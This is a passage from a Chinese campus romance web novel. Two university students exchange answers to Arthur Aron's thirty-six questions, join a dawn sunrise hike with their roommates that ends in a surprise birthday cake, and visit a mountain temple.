楚忘殊扫了一眼祝屿白的问题,忽然笑出声。
“好巧,我们俩的问题差不多。”
两人都选了第九、第十三个问题,唯一有区别的是最后一个。
楚忘殊选了第三十个,而祝屿白选了最后一个。
楚忘殊:“要不我们写下来吧,同时进行,省事。”
祝屿白听她的,点点头。
于是教室里其他人讨论得热火朝天时,最后排的两人安静如鸡,只有沙沙的写字声。
写完所有问题,两人交换答案。
先是第九个问题“什么最令你感激?”
楚忘殊写了两行——
宿舍楼下等待投喂的猫,某个失眠夜滴滴答答的落雨声。
这些东西的存在,提醒着我关于世界的另一面想象。
祝屿白读完,深深看了眼一旁的楚忘殊。
他继续往下看。
第十三个问题是“如果有一个水晶球,能告诉你任何事,你愿意知道吗?”
楚忘殊写了一行:愿意。我想……寻一个答案。
第三十六个问题,祝屿白问的是“如果你喜欢一个人,但不确定对方是否喜欢你,你会怎么做?”
楚忘殊写了一个字:“冲!”
祝屿白看着她的答案,特别是最后一个感叹号,不知不觉笑出来。
旁边的楚忘殊还在看祝屿白的回答。
第九个问题,他写的是:“毕竟,明天又是新的一天。”
楚忘殊莫名,怎么感激的东西奇奇怪怪的。
她去看第十三个问题祝屿白的回答——
我大概会问,十年后的某个黄昏,与我此刻设想的吻合吗?
但想了想,或许,我不该破坏命运的留白。
就像读一本期待已久的书,提前翻到结局,反而失去字里行间的战栗。
更何况,有些答案,我宁愿用一生的耐心去等它自然浮现。
看完,她抬眼去看旁边的人,正好他也看向她。
她连忙收回视线。
第三十个问题是“上次你在别人面前哭泣是什么时候?独自哭泣呢?”
楚忘殊当时选这个问题,是想起他对自己说哭是正常的情绪。
她想看看,他上次哭是什么时候?
她低下头,看见他写:两天前。
楚忘殊觉得自己被骗了,两天前他哭了?
“祝屿白,你两天前真哭过?”
祝屿白神色不变,高冷开口:“那不在我需要回答的问题之内。”
楚忘殊:“……”
“楚忘殊,”他喊她。
“怎么了?”
“我和你一样。”
“什么一样?”
“你猜?”
他在完成“作业”,告诉对方他的看法。
他想说,楚忘殊,我和你一样,我也会选择“冲!”
16. 搭子日记十六
两人这样做的效率确实高,尹老师给出的讨论时间刚过半,楚忘殊已经闲得开始数窗外枝头上还剩几朵花了。
她第五次数完,忽然叹叹气,“祝屿白,你和我说说话吧,我好无聊啊。”
她头枕在手臂,趴在桌子上,嗓音闷闷的。
祝屿白侧身,“你想聊什么?”
“随便。”
“那和你说说《计算机组成原理》。”
楚忘殊猛然抬起头,皮笑肉不笑,“别跟我说天书,谢谢。”
“哎,你们学霸脑子里平时都是装着这些吗?”她忽然来了兴趣。
祝屿白:“不是。”
“那还有什么?”
他睨她一眼,“你……”
楚忘殊不解,“你什么?”
“没什么。”祝屿白收回视线,偏过头不再看她。
“小气,和你聊天真是一点乐趣都没有。”楚忘殊以为他是不想和她分享。
她悠悠然,忽然换上一副同情的表情,“你这种人的生活是不是一点休闲时间都没有啊?这样的生活有意思吗?”
祝屿白:“你说说你的生活是什么样的?我才能对比得出结论。”
他一脸认真,似乎真的要把这句玩笑话当作科研课题一样去研究。
楚忘殊哈哈大笑,她玩心大起,轻咳一声,“我的生活当然是每天水水课,追追剧,看看书,吃吃美食……”
她眨眨眼,“怎么样?有趣吧?”
祝屿白点点头,出口的话和他赞同的动作南辕北辙,“很一般。”
楚忘殊乐不可支,祝屿白一本正经开玩笑的样子实在是太逗了。
“好吧好吧,我也觉得一般。”楚忘殊耸耸肩,“不过这周末我倒是挺期待的。”
祝屿白:“你有什么计划?”
楚忘殊脸上仍挂着笑,说出的话带着丝欣喜,“我们宿舍打算去绝望坡看日出。”
绝望坡是这片区域最佳的观赏区域,海拔大概三四百米。
周末是宋词生日,全宿舍一起去看日出是她最大的生日愿望。
寿星发话,其他人只会举双手赞成。
四人一拍即合,早早就在张罗装备,只等周末到了。
她刚想问祝屿白要不要去,不料下一秒,尹老师的话就响了起来。
“时间到,听我说。”他双手往下压,示意所有人安静。
“亚瑟·阿伦的三十六问大家感兴趣的话,可以下课后再和自己的组队搭子互相提问,这些问题的回答,可以看出每个人的很多方面,对我们了解一个人很有用。”
“当然你们也不能光看一个人怎么说,关键还要看对方怎么做。”
尹老师笑着补充一句,“了解对方是我们这节课很重要的部分,因为你不可能在对对方一无所知的情况下,却无法自拔地爱上对方,同学们加油吧,希望这门课,每个同学都能拿满绩。”
楚忘殊煞有介事补了句,“老师梦想很美好。”
有她和祝屿白这对“表白墙搭子”在,是不可能每个人都满绩的。
比如她。
比如祝屿白。
“现实有时也会很美好。”祝屿白压低嗓音在她旁边加上。
楚忘殊:“……”
就以和我唱反调为乐趣是吧?
九月将尽,天气开始转凉。
秋风萧瑟,毫不留情地卷走枯叶,将其堆积在走道上,一脚踩上去,沙沙声清脆悦耳。
一天的课结束,楚忘殊踩在落叶上,比较不同力度发出的声音有什么不同,玩得不亦乐乎。
握着的手机忽然开始震动。
她接通,“喂,哪位?”
“给你的电话费打水漂了?”楚砚青欠欠的声音从话筒里传出。
楚忘殊一愣,看了眼备注——“亲爱的哥哥”
哦,上次在金钱的诱惑下昏了头改的。
楚忘殊熟练地略过他的第一句话,问他:“找我什么事?”
“来送钱行吗。”楚砚青手指轻敲桌面。
楚忘殊:“……”
行,怎么不行。
“不对,楚砚青你是不是做什么亏心事了?”她忽然正色道。
电话那头嗤笑一声,“你能不能盼你亲哥点好。”
“亲”字咬得格外重。
“那还不是你这次太反常了?”她小声嘟囔。
“哪里反常?”
楚忘殊:“你以往打钱给我不都随心所欲,想什么时候打就什么时候,现在怎么还专门打电话?”
她猜测得有理有据。
这回轮到楚砚青无语了。
“楚忘殊,你信不信我明天回来找你。”
楚忘殊:“……”
这家伙还是和以前一样玩不起。
“所以是怎么回事?”
楚砚青手里拿着个粉白色兔子,和他一身裁剪得当的西服格格不入。
唇角的笑意怎么压也压不住,他嘴上却说着,“你涂的兔子好丑。”
楚忘殊:“……”
不是!这人舔舔嘴唇能被自己毒死吧!
再说了,她涂的那个兔子虽然算不上艺术,但好歹和“丑”也搭不上边吧。
“不要还我。”
她辛辛苦苦上好色,还请沈泊希跨越这么多时区带给他。
这人真不识好歹!
“那怎么行?”楚砚青懒洋洋的声音慢悠悠道,“我可是买来的,不知道你哥是商人吗,我会做亏本的买卖?”
“我现在很怀疑你会不会破产。”
楚砚青轻笑一声,“不用担心,破产也不会让你饿着的。”
楚砚青:“行了,买这只丑兔子的钱已经转给你了。”
楚忘殊:“……”
兔子就兔子,不用再强调一遍“丑兔子”!
她刚想挂断电话,楚砚青警惕的声音又响起,“你不会在里面藏了什么东西吧?”
“你以为我是你啊。”楚忘殊无语道。
楚忘殊小时候住在云城的外公外婆家,没和楚砚青住一起。
有一年暑假,楚砚青一个人溜到云城,千里迢迢为她带来个米白色的小马玩偶,马尾还是粉粉的。
当时楚忘殊嫌弃得不行,不知道这么奇葩的玩偶他是从哪找来的。
可她后来还是按捺不住好奇心,拆开了包装袋,结果里面猛然跳出一只青蛙,吓得她转身就跑,哭得上气不接下气。
尽管楚砚青后来解释不是他放进去,但楚忘殊一个字不信——那包装袋封得严严实实的,青蛙还能自己跳进去,再系好丝带把自己关进去?
楚砚青炸毛了,“你还记仇呢,都说了不是我。”
楚忘殊敷衍:“好
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好好,不是你行了吧。”
楚砚青:“……楚忘殊你语气能再敷衍一点吗?”
楚忘殊:“……”
这辈子没听过这么离谱的要求。
楚砚青上辈子一定是个哑巴,这辈子才话这么多。
楚忘殊心想。
和他打完电话,周遭安静下来。
少了他的声音,她又忽然觉得太过安静。
她抬头看了看头顶已经露面的弯月。
楚砚青那里,也会看到这样的月亮吗?
——
祝屿白坐在桌前,电脑上放着今天的课件,他目光直直看着桌面。
可是页面始终停在同一页。
宋然又一次五连跪后,差点想把自己手机摔了。
他挪到祝屿白旁边,刚想叫祝屿白帮忙打几把,却发现这人居然在发愣。
“哎哎,入定了?”宋然推推他胳膊,“最近的学习内容加大难度了吗?怎么总见你在发呆?”
祝屿白:“没。”
宋然毫不客气地将手机递给他,“想想也是,你都觉得难了的话,我们得哭出来。”
“本来还说你觉得有压力的话我们可以一起出去放松放松。”宋然补上一句。
祝屿白一枪爆了对方的头,幽幽出声,“其实还是有点难的。”
宋然以为自己幻听了,“你说什么?”
“有点难。”
他一把保住祝屿白的胳膊,“哥,大神,求求你的笔记期末一定要借我看看。”
祝屿白:“行。”
说话的时候,他眼睛微转,在盘算着什么。
祝屿白:“你前面说什么?”
宋然:“啊?我说你笔记借我。”
祝屿白:“上上句。”
上上句?
宋然想了一下,终于恍然大悟,招呼众人,“最近学习压力太大了,大家伙一起出去放松放松啊。”
早早斜躺在床上的吴温韦探出头,“去哪?”
“网吧包夜。”右下角还在游戏里厮杀的赵源说。
宋然斜他一眼,“你可拉倒吧,出去还去网吧,你都快和电脑成连体兄弟了。”
“要不去爬山?”
一旁默不作声的祝屿白忽然说。
他将手机递回给宋然,界面上大大地显示着胜利。
其他三人对眼,一致点头。
赵源:“行。”
吴温韦:“我OK。”
宋然提议,“都去爬山了,要不我们稍微去早点,直接去看日出吧。”
赵源摇摇头,“太早了,起不来,再说屿白肯定也不想摸黑去。”
他把祝屿白拉到自己的阵营,这样胜算比较大。
祝屿白:“去。”
赵源手上的操作被他的话惊得连续失误好几下,“你说什么?”
祝屿白没说话,脸上一副“你没听错”的表情。
“行行行,那就去看日出吧。”
“去哪看?”
“还能去哪里?当然是绝望坡啊。”
“就是,还有比那更好的地点吗?”
三人你来我往互怼,就这么将去看日出的事情敲定了下来。
祝屿白没参与,在一旁安静地听着。
电脑上页面终于开始滑动,屏幕上隐隐约约反射出他带笑的嘴角。
17. 搭子日记十七
周末凌晨两点,403寝室灯火通明。
“起床了起床了,今天还要去看日出呢。”
宋词拍着手,喊其余三人起床。
她精神十足,一脸兴奋,没有半点困倦的神色。
看到三人陆陆续续坐起来,她哼着歌去洗漱间刷牙。
楚忘殊眼睛紧闭着,眼罩挂在额头上,头发凌乱不已。
她人起来了,但魂没跟上。
在床上坐了五六分钟,她终于睁开眼,起身下了床。
半小时后,四人洗漱好,换上了早就准备好的爬山装备,出了门。
屋外天色依然昏暗,一路上都没什么人。
东门值班的保安大叔见四人这会儿还要出去,关心地问了句。
得知四人是想去看日出,大叔嘱咐了句注意安全。
楚忘殊早早打好了车。上车说了目的地,后排三人齐刷刷靠着眯眼,留她一人在副驾驶上注意情况。
接单的是位和蔼的阿姨,一路上和她有说有笑,免了她一个人无聊。
阿姨说她有位和四人差不多年纪的女儿,前些年因为抑郁休了学。
所幸在她的陪伴下,女儿的情况慢慢好了起来,今年还考上了大学。
那个大学算不上好,但她只想要女儿开心一些,其余的都不重要。
楚忘殊安静地听着,不时搭句话。
她安慰人的能力实在薄弱,最后只在下车时默默打赏了阿姨。
但她更愿意相信阿姨现在很满足,有了对未来的期盼,不需要苍白的安慰。
下了车,后排的三人脚沾地就满血复活。
宋词甚至有力气大喊一声,“日出我来了——”
通往绝望坡山顶的的路大部分由台阶组成。
但快到山顶还有段路,因为地势的原因,没办法建台阶,只能着前人踩出来的足迹爬上去。
四人刚爬到半山腰,就累得不行。
“哎,我们歇会儿吧。”宋词苦兮兮地说。
她高估了自己的体力,低估了绝望坡中”绝望”二字的含金量。
程以凌也撑不住,举手表示同意。
正好半山腰有个亭子,供人休息,四人进去坐下,准备歇会再继续。
“月亮,你周末是不是去福利院了?”靠在楚忘殊肩上的宋词,刚恢复点精力,嘴巴又闲不住了。
楚忘殊懒洋洋的,她体力也不太好,这会儿累得不想说话,“对,你怎么知道?”
宋词:“学校那个爱心社的公众号上啊。”
楚忘殊点点头,“哦。”
这次活动是爱心社组织的,拍点活动素材可能刚好拍到她了。
一旁的程以凌忽然插话道,“还是你和祝学神的合照哦。”
楚忘殊没有丝毫波动,充当着冷酷无情的解答机器,“我和他一组。”
言下之意是有合照不是很正常吗?
身旁的宋词一骨碌弹起,八卦地看着楚忘殊,“哎,月亮,你不是没参加任何社团吗?怎么回去参加这次活动呢?”
楚忘殊语气没有丝毫变化,“社长是他舍友,这次活动有两个同学突然有事来不了,临时叫我俩去救个场。”
“这样吗?”宋词还在怀疑这话真的假的。
“不然呢?”
“哎,就当这样吧。”宋词摊摊手。
她和程以凌对视一眼,两人推推搡搡,一个怂恿一个开口。
两人小动作实在太明显,楚忘殊想装看不见都没法说服自己。
“你们到底想问什么?”
最后还是程以凌开口,“月亮,你和祝屿白认识这么久,关系……就没点变化吗?”
“变化?”楚忘殊努力思索,随后重重点头,“有啊。”
“什么?”
两人眼神齐刷刷地看向她,韩霜慢悠悠地睁开眼,目光也落在她身上。
楚忘殊:“以前是陌生人,现在是朋友啊。”
三人:“……”
怎么不算变化呢?
韩霜看着她,“月亮,你高中是云城附中的吧?”
楚忘殊没想到她会忽然提这个,点点头。
“那你高中对祝屿白一点印象也没有吗?”
楚忘殊:“啊?”
这两者有什么联系?
难道祝屿白也是附中的?
她看向韩霜,对方朝她点点头,像是在说你的猜测没错。
宋词探过头,“哎,那不应该啊,祝屿白这样的人的的高中应该也挺有名的吧?”
“我……那时候在忙其他事。”楚忘殊一愣,“没注意过。”
她想了想,好像对高中的祝屿白是有些印象的。
刚升入高三时,云城附中举行每年的惯例——“高考经验会”,让高考完的学长学姐分享自己的学习经验,附带着进行大学宣讲。
当时学校专门用一整天来举办这个活动。
在早上第一节课简单介绍了各个大学来了哪些人,宣讲的地点在那间教室后,就让学生们自由活动。
楚忘殊那会儿一直在埋头解周测卷,理综物理的最后一道大题,想看看有没有更简便的方法。
教室忽然爆发出一阵叫声,她抬头,扫了一眼讲台上白板上惹眼的字。
——祝屿白。
她轻瞥一眼,名字模模糊糊在这留下了个记忆点。
但她那时对这些根本不在意,别说见到人,她就连宣讲会都没去。
吵吵闹闹的一整天过去,她在实验楼一个安静的自习室完成了五套理综卷,
后来上了大学,高中的一切慢慢模糊,“祝屿白”这个名字布满粉尘,遗忘在记忆里最暗的角落。
如今听韩霜提起,楚忘殊才想起,原来他们还是同一个学校毕业的啊。
“宋词?!”一声惊叫声忽然划破长夜的寂静。
四人一齐回头,就见一个卷毛直冲到宋词面前。
“你你你!没想到我们还能在见面吧!”来人气冲冲地说。
宋词一脸迷茫,“啊?你谁啊?我认识你吗?”
“你这个始乱终弃的人!这才多久就装不认识我了?”男生丢下个爆炸性消息。
众人八卦的眼神默契地看向宋词。
“不,哥们,你到底是谁啊?”
楚忘殊忽然觉得眼前的人很眼熟,她试探性开口,“宋然?”
宋然理智回神,终于看到了楚忘殊,“你怎么在这?”
“爬山啊。”
“我们也是。”
楚忘殊:“们?”
难道还有其他人和他一起来?
她转过头,一眼就看见祝屿白,
他个子很高,站在人群中格外显眼。
他今天穿了件黑色的冲锋衣,身形落拓。身旁的路灯有
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些年头了,闪烁这着微弱的灯光,让他几乎隐入黑夜中。
楚忘殊心头一挑。
他来了多久?有没有听到她们刚才的谈话?
虽说她们也没在人背后说坏话,但现在总有种被抓包的心虚。
“我始乱终弃什么了?你别污蔑我好嘛!”宋词的声音将她拉回神。
她赶忙看这边的情况。
宋然一脸痛心疾首,疾步上前:“你大一是不是参加了很多社团?”
宋词皱眉,话题又给我扯哪去了?不过她还是老老实实回答:“是啊。”
宋然:“你是不是报名了很多社团?”
宋词点头,她当时觉得新鲜,就几乎每个社团都报了名。
“你是不是鸽了爱心社的招新?”
宋词不确定了,她似乎……鸽了很多个?
见她一脸心虚,宋然冷哼一声,“我当时招新的时候,可是还特意给你和另外三人调换时间面试。结果你说不来就不来了。”
宋词想起来了,去年似乎有个社团面试时间和她课程时间撞了,她就和当时负责的学长说,不去面试了。后来过了一天,那个学长说可以挑她有空的时间,重新面试。
人家都说到这个份上,她也不好再拂了面子。
但她当时已经通过好几个面试,到达面试地点后,抱着通过不了的想法随便答了答。
谁知最后居然过了。
但她实在没有精力,最后还是婉拒了。
自己理亏在先,还被人抓个正着,宋词换上笑容,“没办法,都怪我太优秀。当时过了好几个面试,我这也是为咱们社团考虑,让更有时间的人来建设咱们社团。”
“是吗?”宋然语气拐了八百个弯,“你现在还在几个社团待?”
宋词摇摇头,“没啦。”
她待了一年,发现实在是太无聊了,啥事都没干,社团却还要开这开那的会议,实在是没啥意思,她就全退了。
“那给你个机会来建设社团。”
宋词:“啊?”
“十月份还有第二轮招新,我记得是面向大一大二的,你还有机会。”
宋词:“……”
并不是很想要这个机会。
宋然舒服了。
他一直觉得他们社团宣传不够,公众号浏览量低得吓人。
去年见到的简历,宋词那行“拥有自媒体运营经验,浏览量10w+”把他迷得不行。
这样的人才就应该搞来自己的阵营嘛。
谁知最后宋词鸽了他,一年多了,他一直耿耿于怀。
现在算是了却一桩心事。
他喜滋滋地退回宿舍队伍里,提议道:“大家都是来看日出的吧?一起啊?”
两个宿舍的人默认同意。
剩下的路程里,众人一鼓作气,即将到达山顶。
去往最佳观赏日出的地方还需要爬上一截陡峭的坡。
楚忘殊先让宋词三人上去,自己才紧跟其后。
上去后才发现坡度真的很陡,还有细碎的石子,稍不注意就会踩上滑倒。
楚忘殊凝气屏息,小心翼翼地踩稳每一步。
经过一个拐角,上方忽然冲出只松鼠。
吓得她脚下一滑,身体往后仰。
她慌忙地努力去抓住一旁的枯藤,生怕摔下去。
腰间忽然多出一只有力的胳膊。
18. 搭子日记十八
天刚蒙蒙亮,坡顶的风微凉。
腰间炙热的触感格外抓人注意力。
眼前猝不及防出现一张脸——是祝屿白。
借着他手臂支撑的力道,楚忘殊站稳,对他说了句谢谢。
“没事。”祝屿白略微暗哑的嗓音在耳边响起。
登上坡顶的小径狭窄,勉强只能同行一人。
两人一前一后地走着。
因为刚才的小插曲,两人落后了其他人一截。
“你们怎么也会来爬山?”楚忘殊觉得周遭太过安静,主动挑起话题。
祝屿白闷声点头,半点不带迟疑地道:“他们想来。”
“那天我在课上本来就想问你要不要一起?没想到被尹老师打断了,后来也就忘了问。”这段路有些难走,楚忘殊气息有些不稳。
她说完顿了顿,大喘气后又接着说:“不过还好,我们还是遇见了。”
祝屿白重复了她的话,轻声说:“还好,我们遇见了。”
语气像他一贯的风格,却又带着庆幸。
“楚忘殊。”
“怎么了?”楚忘殊听到他喊她,下意识驻足回头。
“包要我帮你拿吗?”他看着她额头渗出的密密麻麻的汗珠。
“不行。”她紧张地护住包,好像里面藏了无数的黄金一般。
祝屿白:“……”
他看起来那么不靠谱吗?
“可是你很累。”
楚忘殊抬头看了看还有多久的路。
好吧,一眼望不到头。
她犹豫了下,“那你拿稳点,不要压到了。”
祝屿白点头,让他放心,随后双手从她手里接过包。
“大恩不言谢!”她朝他笑笑,双手抱拳。
少了全身上下最重的书包,她轻松了不少。
走起路来健步如飞,高马尾抖动着,像金色阳光下跳跃的波纹。
但她还没忘记自己的负担去了哪,没走几步就要回头问问祝屿白累不累。
在第六次楚忘殊开口问前,祝屿白抢先开口,“不累。”
楚忘殊:“……”
哦。
“楚忘殊。”
她循声看向祝屿白。
“我体力还行。”他目光与她相接,“即使背着你都能上去,所以只是这个包,一点都不累。”
楚忘殊:“……”
那她此刻酸软的腿、额头黏糊糊的汗算什么!
接下来的路上,两人都闷头赶路。
楚忘殊很多次想问祝屿白累不累,只是话刚想出口,他那句“背着你呆在能上去”就在耳边疯狂环绕,她又赶紧闭上嘴。
“你包里装了什么易碎的东西吗?”
见楚忘殊长久不说话,祝屿白先憋不住了,开口闲聊。
一提起这个,楚忘殊来了兴趣。
她眼睛亮晶晶的,声音压得很低,像是怕被风听去。
祝屿白以为她要说,配合地略微弯腰。
耳边跳出两个字——“秘密”。
他抬头,看到眼前的女孩脸上一副得逞的表情。
狡黠得像只小狐狸。
经过这么一闹,两人气氛轻松了不少。
两人一路闲聊上去,不知不觉到了坡顶。
绝望坡不愧被称为江州最适合看日出的地方。
站在上面,能俯瞰江州整座城市。
天光余晓,卸去城市霓虹的浓妆艳抹,让这座向来以繁华著称的城市流露着淡雅的气息。
位于市中心的摩天大厦,从这里看它如同针尖般刺向苍穹。
针尖处一团白云萦绕在上面。
絮状的白云慢慢穿上暗粉色的外套,许是嫌弃它太过暗淡,白云为它打上金粉色的光。
随后是火红色、粉蓝色……
一缕金色利剑般划破长空。
太阳出来了!
人群躁动起来,欢呼雀跃声不绝于耳。
大家忙拿出手机拍照,记录下这绝版的一刻。
人声鼎沸间,楚忘殊忽然听到一句熟悉的声音。
“楚忘殊,回头看我。”
咔嚓——
快门按下,视线定格。
清晨的第一缕阳光,掠过女孩飘逸的发丝。
女孩懵懂的眼睛看着镜头,嘴巴因惊讶而微张。
身后是粉蓝色的天空,远方一只翩飞的小鸟落入镜头。
黑色相机遮挡下,祝屿白嘴角扬起。
镜头里明媚张扬的少女,慢慢向他走近。
“我看看。”她走进,手伸向祝屿白,示意他拿给自己看。
祝屿白照做。
相机上还残留着原主人手上的余温,最后与楚忘殊手上的温度混为一体。
“拍的不错嘛,水平快比上我了。”楚忘殊笑着说。
祝屿白:“看来某人也挺自恋的。”
“这叫近学霸者——”她故意拖着腔调,话锋一转,“自恋?”
两人不约而同笑开。
“不愧是祝屿白啊,想的就是周到,还带相机来。”宋然的声音响起,“是带来给我们拍合照的吗?”
祝屿白:“……”
带来拍照,但不是合照。
没等祝屿白回答,宋然就很有领导力地招呼所有人站好,“来来来,祝屿白给我们拍照,大家站好。”
楚忘殊很积极,立马站在人群中,比着万年不变的剪刀手,冲着镜头歪头。
祝屿白摆开姿势,寻找拍照的最佳角度。
拍完,宋然又很积极地让祝屿白站过去,他来拍。
他胡乱地指挥着队形,弄了好几次都不满意。
“祝屿白,你在第二排中间去。”
祝屿白脚下的动作很迅速。
他微微弯腰,学着前面的人比起剪刀手,头往左边靠了靠。
宋然看着祝屿白笨拙地模仿前面的楚忘殊,有些忍俊不禁。
祝屿白这副样子,真是难得一见。
达到了目的,他终于不再瞎指挥站位,动作迅速地按下拍照。
相机捕捉到朝阳下少男少女们的意气风发。
六点五十三分,楚忘殊拿出包,神秘兮兮的。
其他人都在欣赏美景,只有祝屿白好整以暇地注意着她的动静。
她从包里拿出个蛋糕。
他懂了路上她为什么要叫他拿稳。
点燃蜡烛后,她走到宋词身后,轻拍她的肩膀。
“亲爱的小词同学,生日快乐!”
宋词一脸懵地转过头,就见楚忘殊笑盈盈地蹲在自己面前,手上捧着精致的蛋糕。
她鼻头一酸,眼泪劈里啪啦地砸下来,声音断断续续的,
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“你从……那么远的地方背过来……不累吗?”
怪不得半山腰的时候就看她很累,原来是背着这么珍贵的礼物。
她和舍友们说让她们来陪他看日出就让她们很累了,根本没想过需要蛋糕。
特别是楚忘殊,她是那么喜欢睡觉的人,大半夜被叫起来,还为背着蛋糕爬这么久。
宋词越想越感动,哽咽地说着谢谢。
她抱着楚忘殊,“世上怎么会有你这么浪漫的人?搞得我这么想哭。”
“你别哭啊,可不是我一个人做的。”楚忘殊双手端着蛋糕,不能为她擦掉眼泪,急得恨不得有三头六臂。
一旁的程以凌将生日帽戴在宋词头上,韩霜播放着宋词偶像演唱的生日歌,扯出纸巾递给她。
宋词泪眼婆娑地闭眼双手合十开始许愿,然后吹灭蜡烛。
希望这群可爱的女孩子们永远快乐。
刚睁眼,宋然疑惑的声音插进来,“你今天生生日啊?生日快乐呀,我们还同姓,说不定你还可以叫我声哥呢。”
宋词睨他一眼,“可能你得叫我姐。”
宋然:“啊?不可能,你多大?”
“二十二。”
“你这么晚读书?”
“我休学过啊。”
宋然一脸不可置信。
宋词这会儿擦干了眼泪,“快叫姐,就当我生日礼物了。”
宋然梗着脖子,”我们只是同姓,不搞这些宗族称呼。”
宋词:“……”
众人对今天的寿星依次道了“生日快乐”。
宋然前面死鸭子嘴硬,后来还是老老实实地叫了声“姐”,美其名曰不和寿星计较。
祝屿白也轻声说了句“生日快乐”,宋词还有些受宠若惊。
吃了点蛋糕,众人玩心大起,将吃不完的蛋糕偷抹在别人脸上。
玩闹归玩闹,众人还是很有分寸,知道现在是在外面,没往衣服上抹。
祝屿白没参与,安静地坐着一旁看他们的“蛋糕大战”。
背后熟悉的气息袭来,蛋糕的甜腻气息直往他脸上来。
他岿然不动。
“哈哈哈哈哈哈,你也别想逃过。”楚忘殊看着他鼻尖上的奶油哈哈大笑,欣赏着自己的战利品。
祝屿白被她的笑感染,嘴角不自觉地勾起,毫无威胁意味的“威胁”响起:“你以为我不会反击吗?”
楚忘殊瞪圆眼睛,脸上苦笑着,像是在投降,出口却又满是挑衅:“你敢吗?”
“你试试?”说完伸手去勾一缕奶油。
“你玩真的?”楚忘殊见他真的伸向蛋糕上奶油的方向,开始急了。
她以为祝屿白这种人是看不上这种幼稚的游戏的……
看来她对祝屿白的判断还有待提高。
她拔腿就想跑,可惜晚了一步——左手早被祝屿白的手禁锢住。
她苦笑求饶,“我们友情的小船说翻就翻了吗?”
“没翻。”祝屿白幽幽道。
楚忘殊眼神一亮,看来还有商榷的余地。
她扭动着手,想趁他不注意先挣脱束缚。
祝屿白拉得更紧了。
“但朋友之间不是更应该这样玩吗?”说着他将指尖得奶油点在她额头中间。
楚忘殊:“……”
没法做朋友了。
19. 搭子日记十九
太阳慢慢升起来,在湛蓝天空上闪耀着金色光辉。
坡顶树枝随风摇摆,树叶碰撞出清脆的铃声。
一行人脸上都被抹了奶油,无一幸免。
玩够后,楚忘殊给众人拿湿纸巾和矿泉水,方便大家擦拭干净。
山林间凉风习习,鸟鸣声空灵婉转。
她蹲坐在一块石头上,仰头眯眼沐浴阳光。
头顶覆上一抹阴影,而后又快速离开。
身旁有人落座。
楚忘殊睁开眼,发现是祝屿白。
他脸上的蛋糕已经被他清洗干净,完全看不出刚才滑稽的样子。
“祝屿白,这样的天气好吗?”
“好。”
“是啊,好到让我庆幸。”
“庆幸什么?”
“庆幸没有死在昨天。”
祝屿白转头看向她。
她又合上眼,后仰着头。
阳光洒在她脸上,将她细腻的毛孔镀上光。
岁月静好。
祝屿白却浑身冰冷。
她给他的感觉,就像没有什么值得留恋,想随风漫无目的地飘零。
“楚忘殊……”
他话刚开口,楚忘殊却打断了他,“哈哈哈哈哈,逗你的。”
她睁开眼,露出她特征性的笑容,“刚才文艺病犯了。”
“楚忘殊。”
祝屿白又叫他,语气和刚才一样郑重。
“明天又是新的一天,明天还在等你。”
楚忘殊眼睛微眨,两人视线相接,都盯着对方。
“这是什么新的心灵鸡汤吗?”楚忘殊故作疑惑。
“嗯,祝屿白牌。”
祝屿白移开目光,话又对着她说,“楚忘殊,你脸上有东西?”
“啊?哪里?”
“你牙上有菜。”
楚忘殊:“……”
谢谢,但她今天一颗菜叶子都没吃。
“祝屿白,你缓和气氛的能力真的很糟糕。”楚忘殊站起身,丢下一句,“不过效果不错。”
她刚想走,祝屿白眼疾手快地抓住她的手腕。
“谢谢认可。”他自动忽略前半句,只接下她的赞美,“不过你脸上真的有东西。”
他边说边拿起一张湿巾朝她的左耳下侧去。
凉意刺激着皮肤,祝屿白温热的呼吸喷洒在脸颊上。
楚忘殊感受到她脸温度迅速飙升,身体僵硬。
好在这样的时刻没持续多久,祝屿白擦完就退回去。
“喏,没骗你吧。”他将湿巾举在她面前,上面沾了白色的奶油。
楚忘殊:“……”
哦,真有啊。
她闷声闷气地说了句谢谢,走到人群里,和舍友们在一起。
好尴尬,虽然比牙上有菜好很多,但也很尴尬。
天光大亮,大家日出也看了,合照也拍了,商量着下山。
不知道谁说了句“下山的时候是不是要经过璞元寺啊?”
一句话炸开话题,大家七嘴八舌地讨论着。
宋然:“不是说璞元寺的五百罗汉很有名吗?要不一起去看看。”
赵源:“那是封建迷信,不可取。”
宋然:“当玩一玩嘛。”
程以凌:“就是,来都来了。”
“来都来了”成为八个人决定去看的主要原因。
下山的路轻松不少,八人一路说说笑笑。
璞元寺建在半山腰下,是江州香火最旺盛的寺庙。
据说去过璞元寺的情侣,大多数都结婚了,还会斩断烂桃花。
除了这些,璞元寺的素面也十分有名,味道独一份,不需要钱,只凭到达的时间早晚排队。
素面太过出名,常常还有外地人千里奔赴而来,只为尝一尝是什么味道。
八人下山到达西园寺的时候里面已经很多了。
寺院门是一扇砖红色的木门,角落处有些掉漆,却不影响观感,反而让它古朴庄重的气息越发浓厚。
进了门,左右两边坐落着钟鼓楼。
院内树荫环绕,一抬头,就见枝叶与蔚蓝天空交相辉映。
没走几步,一个身穿浅蓝僧袍的弟子递给每人三柱清香。
楚忘殊接过,看到前方大殿前有人点燃香朝拜。
他们走上前,去往燃香的炉子旁。
人太多,等了好一会儿才到他们。
点燃后,香烟缭绕。
楚忘殊没看墙上贴着的正确握香手势,怎么舒服怎么来,朝着大殿躬身拜了三拜。
拜完,她定定地注视着殿上的牌匾,不知在想什么。
她想的太过专注,没发现身后祝屿白看向她的目光。
时间过了很久,她才回神,忙把燃尽一半的香扔到指定的火炉旁。
等她做完,才发现宋词她们全没了身影。
她拿出手机想问她们去哪了,却率先看到了宿舍群里的消息。
【程以凌:@CWS,我们去素面那排队了,刚看你还拿着香,就没叫你。】
【宋词:我今天一定要排到!我倒要看看到底是什么味道。】
她回了个OK的表情,放下手机,打算找个阴凉处等她们。
刚转头,就看见祝屿白在她身后。
“哎,你怎么在这里?你室友呢?”她四处张望,发现他室友也不见了踪影。
祝屿白朝偏殿一指,“他们说想要这的章,去排队了。”
“哦哦。”楚忘殊点点头,开口客套问,“你待会要干嘛?”
“你呢?”他反问道。
“我到门外去等我舍友们。”楚忘殊想起他的问题还没回答,又重复了一遍,“你呢?”
“我打算进去看看。”他朝正前方的大殿歪歪头。
“去吧,拜拜。”
“等等。”祝屿白挡在她身前。
楚忘殊望着他,眼神询问他干嘛。
“你陪我去行不行?”
“为什么?”
“我害怕。”
“啊?”楚忘殊懵了。
害怕?
她上下扫视祝屿白,“害怕”从他嘴里说出来简直是天方夜谭。
“里面就是些佛像,你怕什么?”她真的想不明白有什么好怕的。
